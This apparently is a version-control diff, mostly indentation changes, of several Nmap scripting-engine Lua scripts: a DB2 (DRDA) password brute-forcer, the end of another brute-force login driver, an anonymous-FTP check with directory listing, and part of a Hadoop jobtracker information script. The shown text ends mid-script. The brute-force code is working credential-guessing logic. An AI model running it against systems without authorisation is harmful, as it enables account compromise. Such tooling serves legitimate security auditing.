-- @return status, true on success, false on failure
|
-- @return status, true on success, false on failure
|
||||||
-- @return brute.Error object on failure
|
-- @return brute.Error object on failure
|
||||||
-- brute.Account object on success
|
-- brute.Account object on success
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local data = ("#UI %s,%s\n"):format(username,password)
|
local data = ("#UI %s,%s\n"):format(username,password)
|
||||||
local status
|
local status
|
||||||
|
|
||||||
if ( not_admins[username] ) then
|
if ( not_admins[username] ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.socket:send( data )
|
status, data = self.socket:send( data )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( data )
|
local err = brute.Error:new( data )
|
||||||
err:setRetry(true)
|
err:setRetry(true)
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, data = self.socket:receive_bytes(5)
|
status, data = self.socket:receive_bytes(5)
|
||||||
|
|
||||||
if ( status and data:match("NOT_REG_ADMIN") ) then
|
if ( status and data:match("NOT_REG_ADMIN") ) then
|
||||||
not_admins[username] = true
|
not_admins[username] = true
|
||||||
elseif( status and data:match("VALID_USER") ) then
|
elseif( status and data:match("VALID_USER") ) then
|
||||||
return true, brute.Account:new( username, password, creds.State.VALID)
|
return true, brute.Account:new( username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
|
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.sockpool:releaseSocket( self.socket )
|
self.sockpool:releaseSocket( self.socket )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result
|
local status, result
|
||||||
local pool = SocketPool:new(10)
|
local pool = SocketPool:new(10)
|
||||||
local engine = brute.Engine:new(Driver, host, port, pool )
|
local engine = brute.Engine:new(Driver, host, port, pool )
|
||||||
|
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
status, result = engine:start()
|
status, result = engine:start()
|
||||||
pool:shutdown()
|
pool:shutdown()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -46,16 +46,16 @@ portrule = shortport.port_or_service({50000,60000}, {"drda","ibm-db2"}, "tcp", {
|
|||||||
-- @return username string
|
-- @return username string
|
||||||
-- @return password string
|
-- @return password string
|
||||||
local function new_usrpwd_iterator (usernames, passwords)
|
local function new_usrpwd_iterator (usernames, passwords)
|
||||||
local function next_username_password ()
|
local function next_username_password ()
|
||||||
for username in usernames do
|
for username in usernames do
|
||||||
for password in passwords do
|
for password in passwords do
|
||||||
coroutine.yield(username, password)
|
coroutine.yield(username, password)
|
||||||
end
|
end
|
||||||
passwords("reset")
|
passwords("reset")
|
||||||
end
|
end
|
||||||
while true do coroutine.yield(nil, nil) end
|
while true do coroutine.yield(nil, nil) end
|
||||||
end
|
end
|
||||||
return coroutine.wrap(next_username_password)
|
return coroutine.wrap(next_username_password)
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Iterates over the password list and guesses passwords
|
--- Iterates over the password list and guesses passwords
|
||||||
@@ -66,29 +66,29 @@ end
|
|||||||
-- @param creds an iterator producing username, password pairs
|
-- @param creds an iterator producing username, password pairs
|
||||||
-- @param valid_accounts table in which to store found accounts
|
-- @param valid_accounts table in which to store found accounts
|
||||||
doLogin = function( host, port, database, creds, valid_accounts )
|
doLogin = function( host, port, database, creds, valid_accounts )
|
||||||
local helper, status, response, passwords
|
local helper, status, response, passwords
|
||||||
local condvar = nmap.condvar( valid_accounts )
|
local condvar = nmap.condvar( valid_accounts )
|
||||||
|
|
||||||
for username, password in creds do
|
for username, password in creds do
|
||||||
-- Checks if a password was already discovered for this account
|
-- Checks if a password was already discovered for this account
|
||||||
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
|
if ( nmap.registry.db2users == nil or nmap.registry.db2users[username] == nil ) then
|
||||||
helper = drda.Helper:new()
|
helper = drda.Helper:new()
|
||||||
helper:connect( host, port )
|
helper:connect( host, port )
|
||||||
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
|
stdnse.print_debug( "Trying %s/%s against %s...", username, password, host.ip )
|
||||||
status, response = helper:login( database, username, password )
|
status, response = helper:login( database, username, password )
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
-- Add credentials for future drda scripts to use
|
-- Add credentials for future drda scripts to use
|
||||||
if nmap.registry.db2users == nil then
|
if nmap.registry.db2users == nil then
|
||||||
nmap.registry.db2users = {}
|
nmap.registry.db2users = {}
|
||||||
end
|
end
|
||||||
nmap.registry.db2users[username]=password
|
nmap.registry.db2users[username]=password
|
||||||
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "<empty>" ) )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
condvar("broadcast")
|
condvar("broadcast")
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Checks if the supplied database exists
|
--- Checks if the supplied database exists
|
||||||
@@ -98,18 +98,18 @@ end
|
|||||||
-- @param database string containing the database name
|
-- @param database string containing the database name
|
||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
isValidDb = function( host, port, database )
|
isValidDb = function( host, port, database )
|
||||||
local status, response
|
local status, response
|
||||||
local helper = drda.Helper:new()
|
local helper = drda.Helper:new()
|
||||||
|
|
||||||
helper:connect( host, port )
|
helper:connect( host, port )
|
||||||
-- Authenticate with a static probe account to see if the db is valid
|
-- Authenticate with a static probe account to see if the db is valid
|
||||||
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
|
status, response = helper:login( database, "dbnameprobe1234", "dbnameprobe1234" )
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
if ( not(status) and response:match("Login failed") ) then
|
if ( not(status) and response:match("Login failed") ) then
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Returns the amount of currenlty active threads
|
--- Returns the amount of currenlty active threads
|
||||||
@@ -117,57 +117,57 @@ end
|
|||||||
-- @param threads table containing the list of threads
|
-- @param threads table containing the list of threads
|
||||||
-- @return count number containing the number of non-dead threads
|
-- @return count number containing the number of non-dead threads
|
||||||
threadCount = function( threads )
|
threadCount = function( threads )
|
||||||
local count = 0
|
local count = 0
|
||||||
|
|
||||||
for thread in pairs(threads) do
|
for thread in pairs(threads) do
|
||||||
if ( coroutine.status(thread) == "dead" ) then
|
if ( coroutine.status(thread) == "dead" ) then
|
||||||
threads[thread] = nil
|
threads[thread] = nil
|
||||||
else
|
else
|
||||||
count = count + 1
|
count = count + 1
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return count
|
return count
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result, response, status = {}, nil, nil
|
local result, response, status = {}, nil, nil
|
||||||
local valid_accounts, threads = {}, {}
|
local valid_accounts, threads = {}, {}
|
||||||
local usernames, passwords, creds
|
local usernames, passwords, creds
|
||||||
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
|
local database = stdnse.get_script_args('drda-brute.dbname') or "SAMPLE"
|
||||||
local condvar = nmap.condvar( valid_accounts )
|
local condvar = nmap.condvar( valid_accounts )
|
||||||
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
|
local max_threads = stdnse.get_script_args('drda-brute.threads') and tonumber( stdnse.get_script_args('drda-brute.threads') ) or 10
|
||||||
|
|
||||||
-- Check if the DB specified is valid
|
-- Check if the DB specified is valid
|
||||||
if( not(isValidDb(host, port, database)) ) then
|
if( not(isValidDb(host, port, database)) ) then
|
||||||
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
|
return ("The databases %s was not found. (Use --script-args drda-brute.dbname=<dbname> to specify database)"):format(database)
|
||||||
end
|
end
|
||||||
|
|
||||||
status, usernames = unpwdb.usernames()
|
status, usernames = unpwdb.usernames()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "Failed to load usernames"
|
return "Failed to load usernames"
|
||||||
end
|
end
|
||||||
|
|
||||||
-- make sure we have a valid pw file
|
-- make sure we have a valid pw file
|
||||||
status, passwords = unpwdb.passwords()
|
status, passwords = unpwdb.passwords()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return "Failed to load passwords"
|
return "Failed to load passwords"
|
||||||
end
|
end
|
||||||
|
|
||||||
creds = new_usrpwd_iterator( usernames, passwords )
|
creds = new_usrpwd_iterator( usernames, passwords )
|
||||||
|
|
||||||
stdnse.print_debug("Starting brute force with %d threads", max_threads )
|
stdnse.print_debug("Starting brute force with %d threads", max_threads )
|
||||||
|
|
||||||
for i=1,max_threads do
|
for i=1,max_threads do
|
||||||
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
|
local co = stdnse.new_thread( doLogin, host, port, database, creds, valid_accounts )
|
||||||
threads[co] = true
|
threads[co] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
-- wait for all threads to finnish running
|
-- wait for all threads to finnish running
|
||||||
while threadCount(threads)>0 do
|
while threadCount(threads)>0 do
|
||||||
condvar("wait")
|
condvar("wait")
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, valid_accounts)
|
return stdnse.format_output(true, valid_accounts)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -44,147 +44,147 @@ portrule = shortport.port_or_service(21, "ftp")
|
|||||||
-- list sent.
|
-- list sent.
|
||||||
-- ---------------------
|
-- ---------------------
|
||||||
local function list(socket, target, max_lines)
|
local function list(socket, target, max_lines)
|
||||||
local status, err
|
local status, err
|
||||||
|
|
||||||
-- ask the server for a Passive Mode: it should give us a port to
|
-- ask the server for a Passive Mode: it should give us a port to
|
||||||
-- listen to, where it will dump the directory listing
|
-- listen to, where it will dump the directory listing
|
||||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||||
status, err = socket:send("PASV\r\n")
|
status, err = socket:send("PASV\r\n")
|
||||||
if not status then
|
if not status then
|
||||||
return status, err
|
return status, err
|
||||||
end
|
end
|
||||||
local code, message = ftp.read_reply(buffer)
|
local code, message = ftp.read_reply(buffer)
|
||||||
|
|
||||||
-- Compute the PASV port as given by the server
|
-- Compute the PASV port as given by the server
|
||||||
-- The server should answer with something like
|
-- The server should answer with something like
|
||||||
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
|
-- 2xx Entering Passive Mode (a,b,c,d,hp,lp)
|
||||||
-- (-- IP--,PORT)
|
-- (-- IP--,PORT)
|
||||||
-- PORT is (hp x 256) + lp
|
-- PORT is (hp x 256) + lp
|
||||||
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
|
local high, low = string.match(message, "%(%d+,%d+,%d+,%d+,(%d+),(%d+)%)")
|
||||||
if not high then
|
if not high then
|
||||||
return nil, string.format("Can't parse PASV response: %q", message)
|
return nil, string.format("Can't parse PASV response: %q", message)
|
||||||
end
|
end
|
||||||
|
|
||||||
local pasv_port = high * 256 + low
|
local pasv_port = high * 256 + low
|
||||||
|
|
||||||
-- Send the LIST command on the commands socket. "Fire and forget"; we
|
-- Send the LIST command on the commands socket. "Fire and forget"; we
|
||||||
-- don't need to take care of the answer on this socket.
|
-- don't need to take care of the answer on this socket.
|
||||||
status, err = socket:send("LIST\r\n")
|
status, err = socket:send("LIST\r\n")
|
||||||
if not status then
|
if not status then
|
||||||
return status, err
|
return status, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local list_socket = nmap.new_socket()
|
local list_socket = nmap.new_socket()
|
||||||
status, err = list_socket:connect(target, pasv_port, "tcp")
|
status, err = list_socket:connect(target, pasv_port, "tcp")
|
||||||
if not status then
|
if not status then
|
||||||
return status, err
|
return status, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local listing = {}
|
local listing = {}
|
||||||
while not max_lines or #listing < max_lines do
|
while not max_lines or #listing < max_lines do
|
||||||
local status, data = list_socket:receive_buf("\r?\n", false)
|
local status, data = list_socket:receive_buf("\r?\n", false)
|
||||||
if (not status and data == "EOF") or data == "" then
|
if (not status and data == "EOF") or data == "" then
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
if not status then
|
if not status then
|
||||||
return status, data
|
return status, data
|
||||||
end
|
end
|
||||||
listing[#listing + 1] = data
|
listing[#listing + 1] = data
|
||||||
end
|
end
|
||||||
|
|
||||||
return true, listing
|
return true, listing
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Connects to the FTP server and checks if the server allows anonymous logins.
|
--- Connects to the FTP server and checks if the server allows anonymous logins.
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local socket = nmap.new_socket()
|
local socket = nmap.new_socket()
|
||||||
local code, message
|
local code, message
|
||||||
local err_catch = function()
|
local err_catch = function()
|
||||||
socket:close()
|
socket:close()
|
||||||
end
|
end
|
||||||
|
|
||||||
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
|
local max_list = stdnse.get_script_args("ftp-anon.maxlist")
|
||||||
if not max_list then
|
if not max_list then
|
||||||
if nmap.verbosity() == 0 then
|
if nmap.verbosity() == 0 then
|
||||||
max_list = 20
|
max_list = 20
|
||||||
else
|
else
|
||||||
max_list = nil
|
max_list = nil
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
max_list = tonumber(max_list)
|
max_list = tonumber(max_list)
|
||||||
if max_list < 0 then
|
if max_list < 0 then
|
||||||
max_list = nil
|
max_list = nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local try = nmap.new_try(err_catch)
|
local try = nmap.new_try(err_catch)
|
||||||
|
|
||||||
try(socket:connect(host, port))
|
try(socket:connect(host, port))
|
||||||
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
local buffer = stdnse.make_buffer(socket, "\r?\n")
|
||||||
|
|
||||||
-- Read banner.
|
-- Read banner.
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
if code and code == 220 then
|
if code and code == 220 then
|
||||||
try(socket:send("USER anonymous\r\n"))
|
try(socket:send("USER anonymous\r\n"))
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
if code == 331 then
|
if code == 331 then
|
||||||
-- 331: User name okay, need password.
|
-- 331: User name okay, need password.
|
||||||
try(socket:send("PASS IEUser@\r\n"))
|
try(socket:send("PASS IEUser@\r\n"))
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
end
|
end
|
||||||
|
|
||||||
if code == 332 then
|
if code == 332 then
|
||||||
-- 332: Need account for login.
|
-- 332: Need account for login.
|
||||||
-- This is rarely seen but may come in response to a
|
-- This is rarely seen but may come in response to a
|
||||||
-- USER or PASS command. As we're doing this
|
-- USER or PASS command. As we're doing this
|
||||||
-- anonymously, send back a blank ACCT.
|
-- anonymously, send back a blank ACCT.
|
||||||
try(socket:send("ACCT\r\n"))
|
try(socket:send("ACCT\r\n"))
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
if code == 331 then
|
if code == 331 then
|
||||||
-- 331: User name okay, need password.
|
-- 331: User name okay, need password.
|
||||||
try(socket:send("PASS IEUser@\r\n"))
|
try(socket:send("PASS IEUser@\r\n"))
|
||||||
code, message = ftp.read_reply(buffer)
|
code, message = ftp.read_reply(buffer)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if code and code >= 200 and code < 300 then
|
if code and code >= 200 and code < 300 then
|
||||||
-- We are primarily looking for 230: User logged in, proceed.
|
-- We are primarily looking for 230: User logged in, proceed.
|
||||||
else
|
else
|
||||||
if not code then
|
if not code then
|
||||||
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
|
stdnse.print_debug(1, "ftp-anon: got socket error %q.", message)
|
||||||
elseif code == 421 or code == 530 then
|
elseif code == 421 or code == 530 then
|
||||||
-- Don't log known error codes.
|
-- Don't log known error codes.
|
||||||
-- 421: Service not available, closing control connection.
|
-- 421: Service not available, closing control connection.
|
||||||
-- 530: Not logged in.
|
-- 530: Not logged in.
|
||||||
else
|
else
|
||||||
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
|
stdnse.print_debug(1, "ftp-anon: got code %d %q.", code, message)
|
||||||
end
|
end
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
|
result[#result + 1] = "Anonymous FTP login allowed (FTP code " .. code .. ")"
|
||||||
|
|
||||||
if not max_list or max_list > 0 then
|
if not max_list or max_list > 0 then
|
||||||
local status, listing = list(socket, host, max_list)
|
local status, listing = list(socket, host, max_list)
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
result[#result + 1] = "Can't get directory listing: " .. listing
|
result[#result + 1] = "Can't get directory listing: " .. listing
|
||||||
else
|
else
|
||||||
for _, item in ipairs(listing) do
|
for _, item in ipairs(listing) do
|
||||||
-- Just a quick passive check on user rights.
|
-- Just a quick passive check on user rights.
|
||||||
if string.match(item, "^[d-].......w.") then
|
if string.match(item, "^[d-].......w.") then
|
||||||
item = item .. " [NSE: writeable]"
|
item = item .. " [NSE: writeable]"
|
||||||
end
|
end
|
||||||
result[#result + 1] = item
|
result[#result + 1] = item
|
||||||
end
|
end
|
||||||
if max_list and #listing == max_list then
|
if max_list and #listing == max_list then
|
||||||
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
|
result[#result + 1] = string.format("Only %d shown. Use --script-args %s.maxlist=-1 to see all.", #listing, SCRIPT_NAME)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return table.concat(result, "\n")
|
return table.concat(result, "\n")
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -53,116 +53,116 @@ categories = {"default", "discovery", "safe"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = function(host, port)
|
portrule = function(host, port)
|
||||||
-- Run for the special port number, or for any HTTP-like service that is
|
-- Run for the special port number, or for any HTTP-like service that is
|
||||||
-- not on a usual HTTP port.
|
-- not on a usual HTTP port.
|
||||||
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
|
return shortport.port_or_service ({50030}, "hadoop-jobtracker")(host, port)
|
||||||
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
or (shortport.service(shortport.LIKELY_HTTP_SERVICES)(host, port) and not shortport.portnumber(shortport.LIKELY_HTTP_PORTS)(host, port))
|
||||||
end
|
end
|
||||||
|
|
||||||
get_userhistory = function( host, port )
|
get_userhistory = function( host, port )
|
||||||
local results = {}
|
local results = {}
|
||||||
local uri = "/jobhistory.jsp?pageno=-1&search="
|
local uri = "/jobhistory.jsp?pageno=-1&search="
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
local body = response['body']:gsub("%%","%%%%")
|
local body = response['body']:gsub("%%","%%%%")
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
|
||||||
for line in string.gmatch(body, "[^\n]+") do
|
for line in string.gmatch(body, "[^\n]+") do
|
||||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||||
if line:match("job_[%d_]+") then
|
if line:match("job_[%d_]+") then
|
||||||
local user = line:match("<td>([^][<>]+)</td></tr>")
|
local user = line:match("<td>([^][<>]+)</td></tr>")
|
||||||
local job_time = line:match("</td><td>([^][<]+)")
|
local job_time = line:match("</td><td>([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
|
stdnse.print_debug(1, ("%s: User: %s (%s)"):format(SCRIPT_NAME,user,job_time))
|
||||||
table.insert( results, ("User: %s (%s)"):format(user,job_time))
|
table.insert( results, ("User: %s (%s)"):format(user,job_time))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
get_tasktrackers = function( host, port )
|
get_tasktrackers = function( host, port )
|
||||||
local results = {}
|
local results = {}
|
||||||
local uri = "/machines.jsp?type=active"
|
local uri = "/machines.jsp?type=active"
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||||
for line in string.gmatch(response['body'], "[^\n]+") do
|
for line in string.gmatch(response['body'], "[^\n]+") do
|
||||||
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
stdnse.print_debug(3, ("%s: Line %s\n"):format(SCRIPT_NAME,line))
|
||||||
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
|
if line:match("href=\"[%w]+://([%w%.:]+)/\">tracker") then
|
||||||
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
|
local tasktracker = line:match("href=\".*//([%w%.:]+)/\">tracker")
|
||||||
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
|
stdnse.print_debug(1, ("%s: taskstracker %s"):format(SCRIPT_NAME,tasktracker))
|
||||||
table.insert( results, tasktracker)
|
table.insert( results, tasktracker)
|
||||||
if target.ALLOW_NEW_TARGETS then
|
if target.ALLOW_NEW_TARGETS then
|
||||||
if tasktracker:match("([%w%.]+)") then
|
if tasktracker:match("([%w%.]+)") then
|
||||||
local newtarget = tasktracker:match("([%w%.]+)")
|
local newtarget = tasktracker:match("([%w%.]+)")
|
||||||
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
stdnse.print_debug(1, ("%s: Added target: %s"):format(SCRIPT_NAME, newtarget))
|
||||||
local status,err = target.add(newtarget)
|
local status,err = target.add(newtarget)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return results
|
return results
|
||||||
end
|
end
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
|
|
||||||
local result = {}
|
local result = {}
|
||||||
local uri = "/jobtracker.jsp"
|
local uri = "/jobtracker.jsp"
|
||||||
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
|
||||||
local response = http.get( host, port, uri )
|
local response = http.get( host, port, uri )
|
||||||
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
|
||||||
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
|
||||||
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,response['body']))
|
||||||
if response['body']:match("State:</b>%s*([^][<]+)") then
|
if response['body']:match("State:</b>%s*([^][<]+)") then
|
||||||
local state = response['body']:match("State:</b>%s*([^][<]+)")
|
local state = response['body']:match("State:</b>%s*([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
|
stdnse.print_debug(1, ("%s: State %s"):format(SCRIPT_NAME,state))
|
||||||
table.insert(result, ("State: %s"):format(state))
|
table.insert(result, ("State: %s"):format(state))
|
||||||
end
|
end
|
||||||
if response['body']:match("Started:</b>%s*([^][<]+)") then
|
if response['body']:match("Started:</b>%s*([^][<]+)") then
|
||||||
local started = response['body']:match("Started:</b>%s*([^][<]+)")
|
local started = response['body']:match("Started:</b>%s*([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
|
stdnse.print_debug(1, ("%s: Started %s"):format(SCRIPT_NAME,started))
|
||||||
table.insert(result, ("Started: %s"):format(started))
|
table.insert(result, ("Started: %s"):format(started))
|
||||||
end
|
end
|
||||||
if response['body']:match("Version:</b>%s*([^][<]+)") then
|
if response['body']:match("Version:</b>%s*([^][<]+)") then
|
||||||
local version = response['body']:match("Version:</b>%s*([^][<]+)")
|
local version = response['body']:match("Version:</b>%s*([^][<]+)")
|
||||||
local versionNo = version:match("([^][,]+)")
|
local versionNo = version:match("([^][,]+)")
|
||||||
local versionHash = version:match("[^][,]+%s+(%w+)")
|
local versionHash = version:match("[^][,]+%s+(%w+)")
|
||||||
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
|
stdnse.print_debug(1, ("%s: Version %s (%s)"):format(SCRIPT_NAME,versionNo,versionHash))
|
||||||
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
|
table.insert(result, ("Version: %s (%s)"):format(versionNo,versionHash))
|
||||||
port.version.version = versionNo
|
port.version.version = versionNo
|
||||||
end
|
end
|
||||||
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
|
if response['body']:match("Compiled:</b>%s*([^][<]+)") then
|
||||||
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
|
local compiled = response['body']:match("Compiled:</b>%s*([^][<]+)"):gsub("%s+", " ")
|
||||||
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
|
||||||
table.insert(result, ("Compiled: %s"):format(compiled))
|
table.insert(result, ("Compiled: %s"):format(compiled))
|
||||||
end
|
end
|
||||||
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
|
if response['body']:match("Identifier:</b>%s*([^][<]+)") then
|
||||||
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
|
local identifier = response['body']:match("Identifier:</b>%s*([^][<]+)")
|
||||||
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
|
stdnse.print_debug(1, ("%s: Identifier %s"):format(SCRIPT_NAME,identifier))
|
||||||
table.insert(result, ("Identifier: %s"):format(identifier))
|
table.insert(result, ("Identifier: %s"):format(identifier))
|
||||||
end
|
end
|
||||||
if response['body']:match("([%w/]+)\">Log<") then
|
if response['body']:match("([%w/]+)\">Log<") then
|
||||||
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
|
local logfiles = response['body']:match("([%w/-_:%%]+)\">Log<")
|
||||||
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
|
stdnse.print_debug(1, ("%s: Log Files %s"):format(SCRIPT_NAME,logfiles))
|
||||||
table.insert(result, ("Log Files: %s"):format(logfiles))
|
table.insert(result, ("Log Files: %s"):format(logfiles))
|
||||||
end
|
end
|
||||||
local tasktrackers = get_tasktrackers (host, port)
|
local tasktrackers = get_tasktrackers (host, port)
|
||||||
if next(tasktrackers) then
|
if next(tasktrackers) then
|
||||||
table.insert(result, "Tasktrackers: ")
|
table.insert(result, "Tasktrackers: ")
|
||||||
table.insert(result, tasktrackers)
|
